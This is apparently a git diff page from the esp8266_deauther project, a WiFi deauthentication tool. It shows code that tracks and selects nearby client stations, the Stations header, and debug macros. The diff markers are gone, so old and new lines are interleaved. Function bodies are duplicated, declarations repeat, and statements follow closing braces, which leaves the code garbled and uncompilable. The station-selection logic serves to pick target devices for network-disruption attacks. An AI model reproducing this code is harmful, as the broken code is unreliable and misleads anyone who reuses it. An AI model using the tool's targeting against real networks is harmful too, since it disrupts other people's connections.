prnt(ST_DESELECTED_STATION);
prntln(num);
changed = true;
if (!check(num)) return;
internal_deselect(num);
prnt(ST_DESELECTED_STATION);
prntln(num);
changed = true;
}
void Stations::remove(int num) {
if (!check(num)) return;
prnt(ST_REMOVED_STATION);
prntln(num);
internal_remove(num);
changed = true;
}
void Stations::select(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getAPStr(i).equalsIgnoreCase(ssid)) select(i);
}
}
void Stations::deselect(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getAPStr(i).equalsIgnoreCase(ssid)) deselect(i);
}
}
void Stations::remove(String ssid) {
for (int i = 0; i < list->size(); i++) {
if (getAPStr(i).equalsIgnoreCase(ssid)) remove(i);
}
}
void Stations::selectAll() {
for (int i = 0; i < count(); i++)
internal_select(i);
prntln(ST_SELECTED_ALL);
changed = true;
for (int i = 0; i < count(); i++) internal_select(i);
prntln(ST_SELECTED_ALL);
changed = true;
}
void Stations::deselectAll() {
for (int i = 0; i < count(); i++)
internal_deselect(i);
prntln(ST_DESELECTED_ALL);
changed = true;
for (int i = 0; i < count(); i++) internal_deselect(i);
prntln(ST_DESELECTED_ALL);
changed = true;
}
int Stations::count() {
return list->size();
return list->size();
}
int Stations::selected() {
int num = 0;
for (int i = 0; i < count(); i++)
if (getSelected(i)) num++;
return num;
int num = 0;
for (int i = 0; i < count(); i++)
if (getSelected(i)) num++;
return num;
}
bool Stations::check(int num) {
if (internal_check(num)){
return true;
} else{
prnt(ST_ERROR_ID);
prntln(num);
return false;
}
if (internal_check(num)) {
return true;
} else {
prnt(ST_ERROR_ID);
prntln(num);
return false;
}
}
bool Stations::internal_check(int num) {
return num >= 0 && num < count();
return num >= 0 && num < count();
}
void Stations::internal_select(int num) {
Station changedStation = list->get(num);
changedStation.selected = true;
list->replace(num, changedStation);
Station changedStation = list->get(num);
changedStation.selected = true;
list->replace(num, changedStation);
}
void Stations::internal_deselect(int num) {
Station changedStation = list->get(num);
changedStation.selected = false;
list->replace(num, changedStation);
Station changedStation = list->get(num);
changedStation.selected = false;
list->replace(num, changedStation);
}
void Stations::internal_remove(int num) {
free(getMac(num));
free(getPkts(num));
free(getTime(num));
list->remove(num);
free(getMac(num));
free(getPkts(num));
free(getTime(num));
list->remove(num);
}
void Stations::internal_add(uint8_t* mac, int accesspointNum) {
if (count() >= STATION_LIST_SIZE)
removeOldest();
if (count() >= STATION_LIST_SIZE) removeOldest();
Station newStation;
newStation.ap = accesspointNum;
newStation.ch = wifi_channel;
newStation.mac = (uint8_t*)malloc(6);
newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t));
newStation.time = (uint32_t*)malloc(sizeof(uint32_t));
newStation.selected = false;
Station newStation;
memcpy(newStation.mac, mac, 6);
*newStation.pkts = 1;
*newStation.time = currentTime;
newStation.ap = accesspointNum;
newStation.ch = wifi_channel;
newStation.mac = (uint8_t*)malloc(6);
newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t));
newStation.time = (uint32_t*)malloc(sizeof(uint32_t));
newStation.selected = false;
list->add(newStation);
memcpy(newStation.mac, mac, 6);
*newStation.pkts = 1;
*newStation.time = currentTime;
list->add(newStation);
}
void Stations::internal_removeAll() {
int c = count();
for (int i = 0; i < c; i++) {
free(getMac(i));
free(getPkts(i));
free(getTime(i));
}
list->clear();
}
int c = count();
for (int i = 0; i < c; i++) {
free(getMac(i));
free(getPkts(i));
free(getTime(i));
}
list->clear();
}

View File

@ -1,5 +1,6 @@
#ifndef Stations_h
#define Stations_h
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
extern "C" {
@ -12,84 +13,85 @@ extern "C" {
#define STATION_LIST_SIZE 60
extern Accesspoints accesspoints;
extern Names names;
extern uint8_t wifi_channel;
extern Names names;
extern uint8_t wifi_channel;
extern uint32_t currentTime;
extern String searchVendor(uint8_t* mac);
extern bool macMulticast(uint8_t* mac);
extern bool macValid(uint8_t* mac);
extern bool macBroadcast(uint8_t* mac);
extern String bytesToStr(uint8_t* b, uint32_t size);
extern String bytesToStr(const uint8_t* b, uint32_t size);
class Stations {
public:
Stations();
void sort();
void sortAfterChannel();
void select(int num);
void deselect(int num);
void add(uint8_t* mac,int accesspointNum);
void selectAll();
void deselectAll();
void removeAll();
void remove(int num);
void removeOldest();
String getNameStr(int num);
String getAPStr(int num);
String getMacStr(int num);
String getMacVendorStr(int num);
String getVendorStr(int num);
String getTimeStr(int num);
String getSelectedStr(int num);
uint8_t* getAPMac(int num);
String getAPMacStr(int num);
uint8_t* getMac(int num);
uint32_t* getPkts(int num);
uint32_t* getTime(int num);
uint8_t getCh(int num);
int getAP(int num);
bool getSelected(int num);
bool hasName(int num);
public:
Stations();
void print(int num);
void print(int num, bool header, bool footer);
void printAll();
void printSelected();
void sort();
void sortAfterChannel();
int count();
int selected();
void select(int num);
void deselect(int num);
void remove(int num);
bool check(int num);
bool changed = false;
private:
struct Station{
uint8_t ap;
uint8_t ch;
uint8_t* mac;
uint32_t* pkts;
uint32_t* time;
bool selected;
};
void select(String ssid);
void deselect(String ssid);
void remove(String ssid);
SimpleList<Station>* list;
void add(uint8_t* mac, int accesspointNum);
int findStation(uint8_t* mac);
int findAccesspoint(uint8_t* mac);
void selectAll();
void deselectAll();
void removeAll();
void removeOldest();
bool internal_check(int num);
void internal_select(int num);
void internal_deselect(int num);
void internal_add(uint8_t* mac, int accesspointNum);
void internal_remove(int num);
void internal_removeAll();
};
String getNameStr(int num);
String getAPStr(int num);
String getMacStr(int num);
String getMacVendorStr(int num);
String getVendorStr(int num);
String getTimeStr(int num);
String getSelectedStr(int num);
uint8_t* getAPMac(int num);
String getAPMacStr(int num);
uint8_t* getMac(int num);
uint32_t* getPkts(int num);
uint32_t* getTime(int num);
uint8_t getCh(int num);
int getAP(int num);
bool getSelected(int num);
bool hasName(int num);
#endif
void print(int num);
void print(int num, bool header, bool footer);
void printAll();
void printSelected();
int count();
int selected();
bool check(int num);
bool changed = false;
private:
struct Station {
uint8_t ap;
uint8_t ch;
uint8_t * mac;
uint32_t* pkts;
uint32_t* time;
bool selected;
};
SimpleList<Station>* list;
int findStation(uint8_t* mac);
int findAccesspoint(uint8_t* mac);
bool internal_check(int num);
void internal_select(int num);
void internal_deselect(int num);
void internal_add(uint8_t* mac, int accesspointNum);
void internal_remove(int num);
void internal_removeAll();
};

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

41
esp8266_deauther/debug.h Normal file
View File

@ -0,0 +1,41 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "config.h"
#include <climits> // LONG_MAX
#include <Arduino.h> // Serial
#ifdef ENABLE_DEBUG
#define debug_init()\
DEBUG_PORT.begin(DEBUG_BAUD);\
DEBUG_PORT.setTimeout(LONG_MAX);\
DEBUG_PORT.println();
#define debug(...) DEBUG_PORT.print(__VA_ARGS__)
#define debugln(...) DEBUG_PORT.println(__VA_ARGS__)
#define debugf(...) DEBUG_PORT.printf(__VA_ARGS__)
#define debugF(...) DEBUG_PORT.print(F(__VA_ARGS__))
#define debuglnF(...) DEBUG_PORT.println(F(__VA_ARGS__))
#define debug_available() DEBUG_PORT.available()
#define debug_read() DEBUG_PORT.read()
#define debug_peek() DEBUG_PORT.peek()
#else /* ifdef ENABLE_DEBUG */
#define debug_init() 0
#define debug(...) 0
#define debugln(...) 0
#define debugf(...) 0
#define debugF(...) 0
#define debuglnF(...) 0
#define debug_available() 0
#define debug_read() 0
#define debug_peek() 0
#endif /* ifdef ENABLE_DEBUG */

Some files were not shown because too many files have changed in this diff Show More